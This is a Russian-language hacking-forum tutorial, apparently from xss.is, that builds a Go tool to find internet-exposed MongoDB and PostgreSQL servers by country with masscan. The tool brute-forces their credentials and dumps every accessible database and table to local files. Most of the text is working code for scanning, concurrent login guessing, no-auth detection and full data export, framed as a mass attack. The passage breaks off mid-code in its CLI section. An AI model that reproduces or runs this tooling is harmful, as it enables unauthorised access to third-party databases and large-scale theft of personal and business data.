Брутфорс СУБД на Golang

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: miserylord
Эксклюзивно для форума:
xss.is

Добро пожаловать, искатели виртуальных горизонтов! На связи miserylord!

В этой статье вы узнаете, как найти систему управления базами данных (СУБД) в глобальной сети на примере самых популярных решений — PostgreSQL и MongoDB. А также, как написать программу для брутфорса на языке Golang для получения доступа, чтобы в конечном итоге выгрузить дамп базы данных, применяя немного другой подход по сравнению с классическими инъекциями.

Эта статья вдохновлена одним руководством (в двух томах), и мне захотелось освоить некоторые техники из него, слегка изменив вектор.

Исходный код программы прикреплен к этому сообщению. Не используйте с дурными намерениями.

Разделы

  • Найдется всё — поиск СУБД с помощью masscan
  • Брутфорсим всё — написание кода для брутфорса MongoDB и PostgreSQL
  • Go++ — добавление CLI-интерфейса программы с использованием фреймворка Cobra
Спойлер: Найдется всё
Сеть

No matter where you go, everybody's connected

Довольно очевидно, но Интернет — это сеть, в которой все машины связаны, буквально соединены между собой. Следовательно, можно попытаться получить доступ к любому устройству, используя его уникальный идентификатор — IP-адрес.

В сети орудуют роботы — пауки-сканеры, которые отправляют запросы на все адреса в надежде узнать больше о службах и сервисах, запущенных на устройствах. Они работают в интересах различных поисковых систем, спецслужб, дата-майнеров и других заинтересованных сторон. Сервисы вроде Shodan могут казаться магией на первый взгляд, но на самом деле они просто представляют результаты работы сканеров в удобных интерфейсах.

Адреса

Изначальный формат IP-адресов — это IPv4, но в какой-то момент стало понятно, что адресов не хватит на всех, и был введён новый протокол — IPv6.

Если быть конкретным, IPv4-адреса имеют длину 32 бита, что означает, что общее количество возможных IPv4-адресов можно рассчитать как 2^32, то есть 4,294,967,296 адресов. IPv6-адреса же имеют длину 128 бит, что означает, что общее количество возможных IPv6-адресов можно рассчитать как 2^128. Это число огромно, и его сложно осознать: 2^128 = 340 триллионов триллионов триллионов.

Несмотря на то что прощаются с IPv4 вот уже два десятилетия, он всё ещё остаётся основным в сети Интернет, и именно его я буду использовать в статье.

Первым делом необходимо узнать диапазоны адресов для конкретной страны.

Для управления и распределения IP-адресов по странам и регионам используются региональные интернет-регистраторы (RIR), которые делят мир на пять основных регионов:

  1. ARIN (American Registry for Internet Numbers) — Северная Америка.
  2. RIPE NCC (Réseaux IP Européens Network Coordination Centre) — Европа, Ближний Восток и часть Центральной Азии.
  3. APNIC (Asia-Pacific Network Information Centre) — Азиатско-Тихоокеанский регион.
  4. LACNIC (Latin American and Caribbean Internet Addresses Registry) — Латинская Америка и Карибский бассейн.
  5. AFRINIC (African Network Information Centre) — Африка.

RIPE NCC — это организация, занимающаяся управлением и распределением интернет-ресурсов. Воспользуемся их API для получения диапазонов адресов для стран. Напишем код на Golang.

C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "encoding/json"
    "fmt"
    "net/http"
    "os"
)

// 1
type RIPEStatResponse struct {
    Data struct {
        Resources struct {
            IPv4 []string `json:"ipv4"`
            IPv6 []string `json:"ipv6"`
        } `json:"resources"`
    } `json:"data"`
}

// 2
func getIPRanges(countryCode string) ([]string, error) {
    url := fmt.Sprintf("https://stat.ripe.net/data/country-resource-list/data.json?resource=%s", countryCode)
    resp, err := http.Get(url)
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return nil, fmt.Errorf("error: status code %d", resp.StatusCode)
    }

    var result RIPEStatResponse
    if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
        return nil, err
    }

    return result.Data.Resources.IPv4, nil
}

// 3
func saveIPRangesToFile(ipRanges []string, filename string) error {
    file, err := os.Create(filename)
    if err != nil {
        return err
    }
    defer file.Close()

    for _, ipRange := range ipRanges {
        _, err := file.WriteString(ipRange + "\n")
        if err != nil {
            return err
        }
    }

    return nil
}

// 4
func main() {
    countryCode := "NA"
    ipRanges, err := getIPRanges(countryCode)
    if err != nil {
        fmt.Println("Error:", err)
        return
    }

    filename := fmt.Sprintf("%s_ip_ranges.txt", countryCode)
    if err := saveIPRangesToFile(ipRanges, filename); err != nil {
        fmt.Println("Error saving to file:", err)
        return
    }

    fmt.Printf("IPv4 ranges for country code %s saved to %s\n", countryCode, filename)
}

  1. Эта часть кода определяет структуру RIPEStatResponse, которая отражает формат ответа от API RIPEStat. Она используется для того, чтобы декодировать данные, полученные от API, в виде, удобном для обработки в Go.
  2. Данная функция делает GET-запрос к API RIPEStat с использованием кода страны в качестве параметра. Она проверяет ошибки на этапе выполнения запроса и обработки ответа. Если код состояния HTTP отличается от 200 OK, возвращается ошибка. После успешного получения ответа тело декодируется в структуру RIPEStatResponse. Если декодирование прошло успешно, функция возвращает срез строк, содержащий диапазоны IPv4 для указанной страны.
  3. Эта функция создает файл с заданным именем и записывает в него каждый диапазон IP-адресов. Также она содержит проверки на наличие ошибок при записи и использование defer для корректного закрытия файла после завершения всех операций.
  4. Функция main() вызывает функцию getIPRanges(), передавая ей код страны (в данном случае "NA", который представляет Намибию). Она получает диапазоны IPv4 для указанной страны, проверяет наличие ошибок и, если всё прошло успешно, сохраняет диапазоны в файл с помощью функции saveIPRangesToFile. В случае успешного завершения операций выводится сообщение о том, что данные успешно сохранены в файл.
masscan

Если IP-адрес — это панелька, то порт — это квартира.

Стандартный порт MongoDB — 27017, а стандартный порт PostgreSQL — 5432. Эти службы можно запустить на любом доступном порту сервера, как и любой другой процесс на любом порту. Однако, как правило, используются стандартные порты. В случае массовой атаки, где на первый план выходят скорость и количество, можно пренебречь проверкой альтернативных портов.

Для работы воспользуемся утилитой masscan. Основная задача masscan — сканирование диапазонов IP-адресов для поиска открытых портов. Программа работает с умопомрачительной скоростью благодаря грамотной оптимизации и позволяет сканировать миллионы IP-адресов за считанные минуты. Кроме того, она способна работать с огромными сетями (например, можно просканировать всю сеть IPv4-адресов, весь Интернет).

Важно отметить, что Masscan не определяет запущенные службы, а лишь сканирует открытые порты.

Запускаем программу командой:

masscan -p27017 41.223.80.0/22 --rate 1000 -oG output.txt

  • -p27017 указывает порт для сканирования (в данном случае стандартный порт MongoDB).
  • 41.223.80.0/22 — это диапазон IP-адресов.
  • --rate 1000 указывает скорость сканирования (1000 пакетов в секунду).
  • -oG output.txt сохраняет результат для дальнейшей обработки.

Далее, с помощью регулярного выражения оставляем только IP-адреса, сохраняя их в файл ip_only.txt, с помощью команды:

grep -oP '\b\d{1,3}(\.\d{1,3}){3}\b' output.txt > ip_only.txt

Автоматизируем этот процесс, используя скрипт на Go.
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "fmt"
    "os"
    "os/exec"
)

func main() {
    // 1
    file, err := os.Open("NA_ip_ranges.txt")
    if err != nil {
        fmt.Println("Ошибка при открытии файла:", err)
        return
    }
    defer file.Close()

    // 2
    outputFile, err := os.Create("output.txt")
    if err != nil {
        fmt.Println("Ошибка при создании файла для вывода:", err)
        return
    }
    defer outputFile.Close()

    // 3
    writer := bufio.NewWriter(outputFile)

    // 4
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        ipRange := scanner.Text()

        // 5
        cmd := exec.Command("masscan", "-p27017", ipRange, "--rate", "1000", "-oG", "output.txt")

        // 6
        cmd.Stdout = writer
        cmd.Stderr = writer

        // 7
        if err := cmd.Run(); err != nil {
            fmt.Printf("Ошибка при выполнении команды для диапазона %s: %v\n", ipRange, err)
        } else {
            fmt.Printf("Команда успешно выполнена для диапазона %s\n", ipRange)
        }

        // 8
        writer.Flush()
    }

    if err := scanner.Err(); err != nil {
        fmt.Println("Ошибка при чтении файла:", err)
        return
    }

    // 9
    grepCmd := exec.Command("grep", "-oP", "\\b\\d{1,3}(\\.\\d{1,3}){3}\\b", "output.txt")
    ipOnlyFile, err := os.Create("ip_only.txt")
    if err != nil {
        fmt.Println("Ошибка при создании файла для IP-адресов:", err)
        return
    }
    defer ipOnlyFile.Close()

    // 10
    grepCmd.Stdout = ipOnlyFile
    grepCmd.Stderr = os.Stderr

    // 11
    if err := grepCmd.Run(); err != nil {
        fmt.Printf("Ошибка при выполнении команды grep: %v\n", err)
    } else {
        fmt.Println("Команда grep успешно выполнена, IP-адреса сохранены в ip_only.txt")
    }
}

  1. Открываем файл с диапазонами IP.
  2. Создаем файл для записи результатов.
  3. Создаем новый буферизованный писатель для записи в файл.
  4. Читаем файл строку за строкой.
  5. Формируем команду masscan.
  6. Устанавливаем вывод команды на стандартный вывод.
  7. Выполняем команду.
  8. Сбрасываем буфер для записи в файл.
  9. Формируем команду grep после обработки всех диапазонов.
  10. Устанавливаем вывод команды grep на файл ip_only.txt.
  11. Выполняем команду grep.

Как альтернативу можно использовать Shodan, чтобы получить только те адреса, на которых запущена MongoDB.

Дополнительно можно использовать Nmap. Nmap — это мощный инструмент для сканирования (хотя он уступает masscan по скорости). Команда:

nmap -p 27017 -iL ip_only.txt -oN results.txt

  • -p 27017: Указывает, что нужно сканировать только порт 27017.
  • -iL ip_only.txt: Указывает Nmap использовать список IP-адресов из файла ip_only.txt.
  • -oN results.txt: Сохраняет результаты сканирования в текстовый файл results.txt.

В результате в логе мы увидим, что все порты открыты, и на всех запущена MongoDB. Однако это может быть не совсем верным результатом, так как Nmap может дать ложные положительные результаты, пытаясь угадать. Для более точного определения можно добавить флаг `-sV` (или `-sC`), тогда Nmap попытается определить, какая именно программа работает на порту и её версию. Однако это может занять часы или даже дни для больших сетей.

Nmap имеет множество функций, возможно, вы найдете полезные комбинации, которые ускорят процесс, но я не включал Nmap в итоговый проект. Nmap Cheat Sheet 2024: All the Commands & Flags

Переходим к написанию брутфорса.

Спойлер: Брутфорсим всё
MongoDB

MongoDB — это популярная NoSQL база данных, которая использует документы вместо традиционных таблиц и строк, как в реляционных базах данных. База данных в MongoDB — это просто контейнер для коллекций. Каждая база данных является независимой и может содержать несколько коллекций. Внутри базы данных хранятся коллекции, которые содержат документы. Коллекция в MongoDB — это аналог таблицы в реляционных базах данных. Она представляет собой группу документов, которые могут иметь разную структуру. В отличие от реляционных таблиц, в коллекции могут храниться документы с различными полями и типами данных. Документ в MongoDB — это основной элемент хранения данных. Он представляет собой объект, закодированный в формате BSON (Binary JSON). Это как JSON, только с дополнительными типами данных и возможностями для более эффективного хранения.

Для тестирования можно развернуть MongoDB на VPS (отличная инструкция по установке на Ubuntu 22 - ссылка или в Docker-контейнере - образ.

По умолчанию MongoDB не требует установки данных для аутентификации и авторизации при первом запуске. Это значит, что любой пользователь, имеющий доступ к серверу MongoDB, может подключаться и работать с данными. Также MongoDB имеет настройку ограничения IP-адресов, которые могут подключаться к ней, и можно подключиться только к базе, в конфигурации которой указан 0.0.0.0 (или ваш IP-адрес).

Для работы с MongoDB в Go используется драйвер mongo-go-driver. Он предоставляет все необходимые инструменты для взаимодействия с MongoDB и работы с данными.

Инициализируем проект и приступаем к написанию кода программы. В первую очередь создадим файл utils.go в папке utils в корневой директории проекта.
C-подобный: Скопировать в буфер обмена
Код:
package utils

import (
    "io/ioutil"
    "log"
    "os"
    "strings"
    "sync"
)

var fileMutex sync.Mutex // 1

func ReadLines(path string) ([]string, error) { // 2
    data, err := ioutil.ReadFile(path)
    if err != nil {
        return nil, err
    }
    return strings.Split(strings.ReplaceAll(strings.TrimSpace(string(data)), "\r", ""), "\n"), nil
}


func WriteGoodToFile(ip, cred string) { // 3
    fileMutex.Lock()
    defer fileMutex.Unlock()

    file, err := os.OpenFile("files/goods.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        log.Fatal(err)
    }
    defer file.Close()
    if _, err := file.WriteString(ip + " " + cred + "\n"); err != nil {
        log.Fatalf("Ошибка во время записи в файл", err.Error())
    }

}

  1. Пишем код с учётом горутин. Создаем объект fileMutex типа sync.Mutex, который используется для синхронизации доступа к файлу. Этот мьютекс гарантирует, что только один поток (или горутина) может выполнять операции записи в файл одновременно. Это предотвращает возможные гонки данных и повреждение файла при одновременной записи из нескольких горутин. (Подробнее о горутинах)
  2. IP-адреса и комбинации учётных данных будут браться из файлов. Эта функция читает все строки из файла, путь к которому передан в аргументе path. Используем ioutil.ReadFile для чтения содержимого файла в виде среза байтов. Обрабатываем ошибку. Если чтение прошло успешно, функция удаляет лишние пробелы и символы возврата каретки, а затем разбивает содержимое на строки с помощью strings.Split.
  3. Учётные данные, по которым произошла успешная аутентификация, будут сохранены в файл. Эта функция записывает строку в файл files/goods.txt. fileMutex.Lock() и defer fileMutex.Unlock() гарантируют, что доступ к файлу будет синхронизирован между горутинами. Открывается (или создаётся, если не существует) файл files/goods.txt в режиме добавления и записи. Если файл не удаётся открыть, программа завершает выполнение с ошибкой. Затем записывается строка в формате ip cred, где каждый элемент разделяется пробелом, а строка заканчивается переводом строки. Если запись в файл завершается ошибкой, программа завершает выполнение и выводит сообщение об ошибке.

Создадим папку files с двумя файлами: ip.txt для адресов и creds.txt для комбинаций логина и пароля в формате login:password. Первая комбинация в словаре будет (noauth:noauth). Если мы обнаружим такую запись в goods.txt, это будет означать, что сервер не требует данных для аутентификации.

Реализуем код для работы с MongoDB в файле mongo.go.

C-подобный: Скопировать в буфер обмена
Код:
package mongo

import (
    "bo52/utils"
    "context"
    "encoding/json"
    "fmt"
    "log"
    "os"
    "strings"
    "time"

    "go.mongodb.org/mongo-driver/bson"
    "go.mongodb.org/mongo-driver/mongo"
    "go.mongodb.org/mongo-driver/mongo/options"
)


func MongoCheck(ip, cred string) string { // 1

    // 2
    parts := strings.Split(cred, ":")
    if len(parts) != 2 {
        log.Printf("Ошибка в формате комбинаций для брута %s", cred)
        return ""
    }

    // 3
    uri := fmt.Sprintf("mongodb://%s:%s@%s:27017", parts[0], parts[1], ip)

    // 4
    clientOptions := options.Client().ApplyURI(uri)

    // 5
    client, err := mongo.NewClient(clientOptions)
    if err != nil {
        log.Printf("Ошибка создания клиента для адреса %s; (комбинация - %s), %v\n", ip, cred, err)
        return ""
    }

    // 6
    ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
    defer cancel()

    // 7
    err = client.Connect(ctx)
    if err != nil {
        log.Printf("Ошибка подключению к МонгоДБ. Адрес %s; (Комбинация - %s), %v\n", ip, cred, err)
        return ""
    }

    // 8
    err = client.Ping(ctx, nil)
    if err != nil {
        log.Printf("Ошибка подключению к МонгоДБ на этапе проверки соединения. Адрес %s; (Комбинация - %s), %v\n", ip, cred, err)
        return ""
    }

    // 9
    databases, err := listdbs(ctx, client)
    if err != nil {
        utils.WriteGoodToFile(ip, cred)
        log.Printf("Ошибка получения списка баз данны. Адрес %s; (Комбинация - %s), %v\n", ip, cred, err)
        return "break"
    }

    // 10
    exportdbs(databases, client, ctx, ip)
    utils.WriteGoodToFile(ip, cred)
    return "break"
}

  1. Функция MongoCheck проверяет соединение с MongoDB, используя переданный IP-адрес и учётные данные. Возвращаемое значение служит сигналом для остановки итераций цикла (который будет реализован в функции main).
  2. Разделяем строку cred на части по символу :. cred имеет формат username:password. Если формат неправильный, функция логирует ошибку и возвращает пустую строку (что не прерывает итерацию, а просто переходит к следующей строке).
  3. Формируем URI для подключения к MongoDB, используя разделённые учётные данные и IP-адрес.
  4. Создаём объект настроек клиента MongoDB с указанным URI.
  5. Создаём новый экземпляр клиента MongoDB с заданными параметрами. Если происходит ошибка, она логируется, и функция возвращает пустую строку.
  6. Создаём контекст с таймаутом в 10 секунд для операций подключения и проверки. cancel используется для отмены контекста, если он больше не нужен.
  7. Подключаем клиент к MongoDB. Если возникает ошибка, она логируется, и функция возвращает пустую строку, что служит сигналом для перехода к следующей комбинации.
  8. Проверяем доступность MongoDB, отправляя команду Ping. Если происходит ошибка, она логируется, и функция возвращает пустую строку.
  9. Получаем список баз данных, вызвав функцию listdbs. Если возникает ошибка, вызывается utils.WriteGoodToFile для записи успешного подключения в файл, и логируется ошибка получения базы данных. Возвращается строка "break", сигнализирующая о прерывании итераций цикла.
  10. Вызываем функцию exportdbs для выполнения дальнейших действий с полученными базами данных. Также вызывается utils.WriteGoodToFile для записи успешного подключения в файл, и возвращается строка "break".

После того как мы подключимся к базе данных, нам нужно узнать список баз данных.


C-подобный: Скопировать в буфер обмена
Код:
func listdbs(ctx context.Context, client *mongo.Client) ([]string, error) {
    databases, err := client.ListDatabaseNames(ctx, bson.D{})
    if err != nil {
        return nil, err
    }
    return databases, nil
}

Функция listdbs принимает два аргумента: ctx типа context.Context — контекст для управления временем жизни операции и отмены, и client типа *mongo.Client для взаимодействия с базой данных. Вызывается метод ListDatabaseNames у клиента MongoDB. Этот метод возвращает список имён баз данных в MongoDB. Параметр bson.D{} указывает, что запрос не содержит фильтра и будет возвращён список всех баз данных. Если возникает ошибка при выполнении запроса, функция возвращает nil и ошибку. Если запрос выполнен успешно, функция возвращает список имён баз данных и nil в качестве ошибки.

После успешного подключения и получения всех баз данных проходим по коллекциям каждой из баз данных и экспортируем их в папку dbs.

C-подобный: Скопировать в буфер обмена
Код:
func exportdbs(databases []string, client *mongo.Client, ctx context.Context, ip string) { // 1

    // 2
    for _, dbName := range databases {
        // 3
        fmt.Printf("База данных: %s\n", dbName)
        db := client.Database(dbName)

        // 4
        collections, err := db.ListCollectionNames(ctx, bson.D{})
        if err != nil {
            log.Printf("Ошибка при получении коллекций для базы данных %s: %v\n", dbName, err)
            continue
        }


        fmt.Println("Коллекции:")
        // 5
        for _, collectionName := range collections {

            // 6
            collection := db.Collection(collectionName)
            cursor, err := collection.Find(context.TODO(), bson.M{})
            if err != nil {
                log.Printf("Не удалось найти докумменты в коллекций: %s: %v", collectionName, err)
                continue
            }
            defer cursor.Close(context.TODO())

            // 7
            var docs []bson.M
            if err := cursor.All(context.TODO(), &docs); err != nil {
                log.Printf("Не удалось прочесть документы с курсора: %s: %v", collectionName, err)
                continue
            }

            // 8
            path := "dbs/" + strings.ReplaceAll(ip, ".", "_")
            err = os.MkdirAll(path, os.ModePerm)
            if err != nil {
                log.Fatal("Не удалось создать папку в папке dbs для сохранения результатов")
            }

            // 9
            fileName := fmt.Sprintf("%s/%s_%s.json", path, db.Name(), collectionName)
            file, err := os.Create(fileName)
            if err != nil {
                log.Fatal("Не удалось создать файл для сохранения коллекций")
            }
            defer file.Close()

            // 10
            encoder := json.NewEncoder(file)
            encoder.SetIndent("", "  ")
            if err := encoder.Encode(docs); err != nil {
                log.Printf("Не удалось привести документ в формат JSON: %v", err)
                continue
            }

            // 11
            fmt.Printf("Коллекция %s успешно сохранена %s\n", collectionName, fileName)
        }

    }
}

  1. Функция exportdbs принимает четыре аргумента: срез имён баз данных, клиент, контекст и IP-адрес, который будет использован для создания имени папки.
  2. Итерация по всем базам данных, указанным в срезе databases.
  3. Выводим имя текущей базы данных и создаём объект с ней.
  4. Получаем имена всех коллекций в текущей базе данных. Если возникает ошибка, она логируется, и выполнение переходит к следующей базе данных (возможно, у нас нет доступа именно к этой БД, но может быть доступ к другой).
  5. Итерация по всем коллекциям в текущей базе данных.
  6. Находим все документы в текущей коллекции. Если возникает ошибка, она логируется, и выполнение переходит к следующей коллекции.
  7. Объявляем срез для хранения всех документов коллекции и извлекаем все документы из курсора. Если возникает ошибка, она логируется, и выполнение переходит к следующей коллекции. (Курсор в контексте MongoDB — это объект, который позволяет перебирать результаты запроса. Курсор предоставляет интерфейс для чтения данных, которые были возвращены в результате выполнения запроса.)
  8. Создаём путь для сохранения файлов, заменяя точки в IP-адресе на подчеркивания. Создаём папку, если она не существует (чтобы избежать ошибок при повторном брут-форсе адреса). Если создание папки не удаётся, программа завершает выполнение с ошибкой.
  9. Создаём имя файла для сохранения данных коллекции в формате JSON. Создаём файл с указанным именем. Если создание файла не удаётся, программа завершает выполнение с ошибкой.
  10. Создаём новый JSON-энкодер для записи в файл. Устанавливаем форматирование JSON с отступами для улучшения читаемости. Кодируем документы в JSON (изначально они в формате BSON) и записываем их в файл. Если возникает ошибка, она логируется.
  11. Выводим сообщение о том, что коллекция успешно сохранена в файл.

Наконец, реализуем код в файле main.go.
C-подобный: Скопировать в буфер обмена
Код:
func main() {
    // 1
    ips, err := utils.ReadLines("files/ip.txt")
    if err != nil {
        log.Fatalf("Произошла ошибка во время чтения файла с ip адресами: %v", err)
    }

    // 2
    creds, err := utils.ReadLines("files/creds.txt")
    if err != nil {
        log.Fatalf("Произошла ошибка во время чтения файла с комбинациями для брута: %v", err)
    }

    // 3
    const maxConcurrent = 10

    // 4
    semaphore := make(chan struct{}, maxConcurrent)
    var wg sync.WaitGroup

    // 5
    for _, ip := range ips {
        wg.Add(1)

        // 6
        go func(ip string) {

            // 7
            defer wg.Done()

            // 8
            semaphore <- struct{}{}
            defer func() { <-semaphore }()

            // 9
            for _, cred := range creds {
                msg := mongo.MongoCheck(ip, cred)
                if msg == "break" {
                    break
                }
            }
        }(ip)
    }

    // 10
    wg.Wait()
}

  1. Читаем IP-адреса из файла files/ip.txt и сохраняем их в срез ips.
  2. Читаем комбинации учётных данных из файла files/creds.txt и сохраняем их в срез creds.
  3. Устанавливаем максимальное количество горутин, которые могут выполняться одновременно.
  4. semaphore — это буферизированный канал, который ограничивает количество одновременно работающих горутин. wg — объект типа sync.WaitGroup, который используется для ожидания завершения всех горутин.
  5. Для каждого IP-адреса создаётся новая горутина. С помощью wg.Add(1) увеличиваем счётчик ожидания. Внутри горутины переменной ip присваивается значение, которое будет использоваться в функции.
  6. Создаём анонимную функцию, которая будет запущена в виде горутины, передавая ip в качестве аргумента.
  7. Вызов wg.Done() завершает работу горутины и уменьшает счётчик ожидания.
  8. Вставляем пустую структуру в канал semaphore, ограничивая количество одновременно работающих горутин. В defer извлекаем пустую структуру из канала после завершения работы горутины, освобождая место для других горутин.
  9. Для каждой комбинации учётных данных вызывается функция mongo.MongoCheck с текущим IP-адресом и учётными данными. Если функция возвращает "break", обработка комбинаций для текущего IP-адреса прекращается.
  10. Ожидаем завершения всех горутин перед завершением программы.

PostgreSQL

PostgreSQL — это реляционная база данных. PostgreSQL требует аутентификации пользователей и также ограничивает доступ по IP-адресам (для подключения к базе данных IP-адрес должен быть указан в конфигурации как 0.0.0.0/0). Для работы с PostgreSQL в Go используется библиотека pq.

Инструкция по развертыванию на Ubuntu: How to Install and Setup PostgreSQL on Ubuntu 20.04.

Создадим файл postgres.go в папке postgres. Код будет похож на тот, который использовался для работы с MongoDB.
C-подобный: Скопировать в буфер обмена
Код:
package postgres

import (
    "bo52/utils"
    "context"
    "database/sql"
    "encoding/json"
    "fmt"
    "log"
    "os"
    "strings"
    "time"

    _ "github.com/lib/pq"
)

func PostgresCheck(ip, cred string) string {
    parts := strings.Split(cred, ":")
    if len(parts) != 2 {
        log.Printf("Ошибка в формате комбинаций для брута %s", cred)
        return ""
    }

    // 1
    connStr := fmt.Sprintf("postgres://%s:%s@%s:5432/postgres?sslmode=disable", parts[0], parts[1], ip)
    db, err := sql.Open("postgres", connStr)
    if err != nil {
        log.Printf("Ошибка создания клиента для адреса %s; (комбинация - %s), %v\n", ip, cred, err)
        return ""
    }
    defer db.Close()

    ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
    defer cancel()

    // 2
    err = db.PingContext(ctx)
    if err != nil {
        log.Printf("Ошибка подключения к PostgreSQL. Адрес %s; (Комбинация - %s), %v\n", ip, cred, err)
        return ""
    }

    // 3
    databases, err := listDBs(db)
    if err != nil {
        utils.WriteGoodToFile(ip, cred)
        log.Printf("Ошибка получения списка баз данных. Адрес %s; (Комбинация - %s), %v\n", ip, cred, err)
        return "break"
    }

    // 4
    exportDBs(databases, ip, cred)
    utils.WriteGoodToFile(ip, cred)
    return "break"
}
  1. Формируем строку подключения к PostgreSQL с использованием логина и пароля из cred, а также IP-адреса из ip. Строка подключения включает порт 5432 и параметр sslmode=disable. Затем создается клиент для работы с базой данных.
  2. Проверяем возможность подключения к базе данных с помощью метода PingContext.
  3. Получаем список баз данных.
  4. Экспортируем базы данных.

C-подобный: Скопировать в буфер обмена
Код:
// 1
func listDBs(db *sql.DB) ([]string, error) {
    // 2
    rows, err := db.Query("SELECT datname FROM pg_database WHERE datistemplate = false;")
    if err != nil {
        return nil, err
    }
    defer rows.Close()

    // 3
    var databases []string

    // 4
    for rows.Next() {
        var dbName string
        if err := rows.Scan(&dbName); err != nil {
            return nil, err
        }
        databases = append(databases, dbName)
    }

    // 5
    return databases, nil
}

  1. Реализуем функцию для получения списка баз данных PostgreSQL. Функция принимает подключение к базе данных в виде объекта *sql.DB. Это подключение используется для выполнения SQL-запросов.
  2. Выполняем SQL-запрос для получения имён баз данных. Этот запрос выбирает имена баз данных (datname) из системной таблицы pg_database, исключая базы данных, являющиеся шаблонами (datistemplate = false). (Системная таблица — это специальная таблица, используемая системой управления базами данных для хранения метаданных о базе данных.)
  3. Инициализируем пустой срез строк для хранения имён баз данных.
  4. Обрабатываем результаты запроса в цикле. Для каждой строки выполняем операцию Scan, которая считывает значение имени базы данных в переменную dbName.
  5. После завершения итерации функция возвращает срез имён баз данных и nil в качестве ошибки, указывая на успешное выполнение.

Таблицы — это основная структура для хранения данных в базе данных. Таблицы состоят из строк и столбцов. Каждая строка таблицы представляет собой запись, а каждый столбец — атрибут записи.

Реализуем функцию listTables, которая будет повторять структуру функции listDBs.


C-подобный: Скопировать в буфер обмена
Код:
func listTables(db *sql.DB) ([]string, error) {

    rows, err := db.Query("SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';")
    if err != nil {
        return nil, err
    }
    defer rows.Close()

    var tables []string
    for rows.Next() {
        var tableName string
        if err := rows.Scan(&tableName); err != nil {
            return nil, err
        }
        tables = append(tables, tableName)
    }

    return tables, nil
}

Также передаём аргумент db *sql.DB для подключения к базе данных и выполнения SQL-запросов. Этот SQL-запрос извлекает список всех таблиц в схеме public. information_schema.tables — это системная таблица, которая содержит информацию обо всех таблицах в базе данных. Условие table_schema = 'public' фильтрует таблицы, оставляя только те, которые находятся в схеме public (стандартная схема для пользовательских таблиц). Затем обрабатываем результат, сохраняем в срез tables и возвращаем данные.

Наконец, реализуем экспорт данных (функция будет очень похожа на ту, что использовалась для MongoDB):
C-подобный: Скопировать в буфер обмена
Код:
func exportDBs(databases []string, ip string, cred string) {
    parts := strings.Split(cred, ":")
    if len(parts) != 2 {
        log.Printf("Ошибка в формате комбинаций для брута %s", cred)
    }

    for _, dbName := range databases {
        fmt.Printf("База данных: %s\n", dbName)

        // 1
        connStr := fmt.Sprintf("postgres://%s:%s@%s:5432/%s?sslmode=disable", parts[0], parts[1], ip, dbName)
        dbConn, err := sql.Open("postgres", connStr)
        if err != nil {
            log.Printf("Ошибка подключения к базе данных %s: %v\n", dbName, err)
            continue
        }
        defer dbConn.Close()

        // 2
        tables, err := listTables(dbConn)
        if err != nil {
            log.Printf("Ошибка при получении таблиц для базы данных %s: %v\n", dbName, err)
            continue
        }

        fmt.Println("Таблицы:")
        for _, tableName := range tables {  
            // 3
            rows, err := dbConn.Query(fmt.Sprintf("SELECT * FROM %s", tableName))
            if err != nil {
                log.Printf("Не удалось найти записи в таблице %s: %v", tableName, err)
                continue
            }
            defer rows.Close()

            // 4
            columns, err := rows.Columns()
            if err != nil {
                log.Printf("Не удалось получить столбцы для таблицы %s: %v", tableName, err)
                continue
            }

            path := "dbs/" + strings.ReplaceAll(ip, ".", "_")
            err = os.MkdirAll(path, os.ModePerm)
            if err != nil {
                log.Fatal("Не удалось создать папку в папке dbs для сохранения результатов")
            }

            fileName := fmt.Sprintf("%s/%s_%s.json", path, dbName, tableName)
            file, err := os.Create(fileName)
            if err != nil {
                log.Fatal("Не удалось создать файл для сохранения данных")
            }
            defer file.Close()

            encoder := json.NewEncoder(file)
            encoder.SetIndent("", "  ")

            // 5
            for rows.Next() {
                values := make([]interface{}, len(columns))
                valuePtrs := make([]interface{}, len(columns))

                for i := range columns {
                    valuePtrs[i] = &values[i]
                }

                if err := rows.Scan(valuePtrs...); err != nil {
                    log.Printf("Не удалось прочесть данные строки: %v", err)
                    continue
                }

                data := make(map[string]interface{})
                for i, col := range columns {
                    data[col] = values[i]
                }

                if err := encoder.Encode(data); err != nil {
                    log.Printf("Не удалось привести данные в формат JSON: %v", err)
                    continue
                }
            }

            fmt.Printf("Таблица %s успешно сохранена %s\n", tableName, fileName)
        }
    }
}

  1. Формируем строку подключения к базе данных с учётом специфики PostgreSQL.
  2. Получаем список таблиц из базы данных с помощью функции `listTables`.
  3. Выполняем запрос для получения всех данных из таблицы. Если возникает ошибка, она логируется.
  4. Получаем имена столбцов и создаём директорию для хранения файлов с результатами экспорта.
  5. Результат, как и в MongoDB, сохраняем в формате JSON. Создаём JSON-энкодер с форматированием. Итерируем по строкам таблицы, считываем строки и преобразуем данные в формат JSON. Переводим строковые данные в формат ключ-значение для JSON. Используем JSON-энкодер для записи данных в файл.

Спойлер: Go++
Cobra

На финальном этапе добавим интерфейс взаимодействия с программой в виде командной строки (CLI). Если вы хотите добавить графический интерфейс, рекомендую фреймворк Waiils (подробнее о нем в этой статье).

Я буду использовать библиотеку Cobra. Добавляем её в наш проект с помощью команды go get github.com/spf13/cobra.

Создадим папку cmd с тремя файлами: mongo.go, postgres.go, root.go. В файлы mongo.go и postgres.go просто перенесём ту логику, что была в файле main.go.

C-подобный: Скопировать в буфер обмена
Код:
package cmd

import (
    "bo52/mongo"
    "bo52/utils"
    "log"
    "sync"

    "github.com/spf13/cobra"
)

var mongoCmd = &cobra.Command{
    Use:   "mongo",
    Short: "Perform MongoDB checks",
    Run: func(cmd *cobra.Command, args []string) {
        ips, err := utils.ReadLines("files/ip.txt")
        if err != nil {
            log.Fatalf("Error reading IP addresses: %v", err)
        }

        creds, err := utils.ReadLines("files/creds.txt")
        if err != nil {
            log.Fatalf("Error reading credentials: %v", err)
        }

        const maxConcurrent = 10
        semaphore := make(chan struct{}, maxConcurrent)
        var wg sync.WaitGroup

        for _, ip := range ips {
            wg.Add(1)
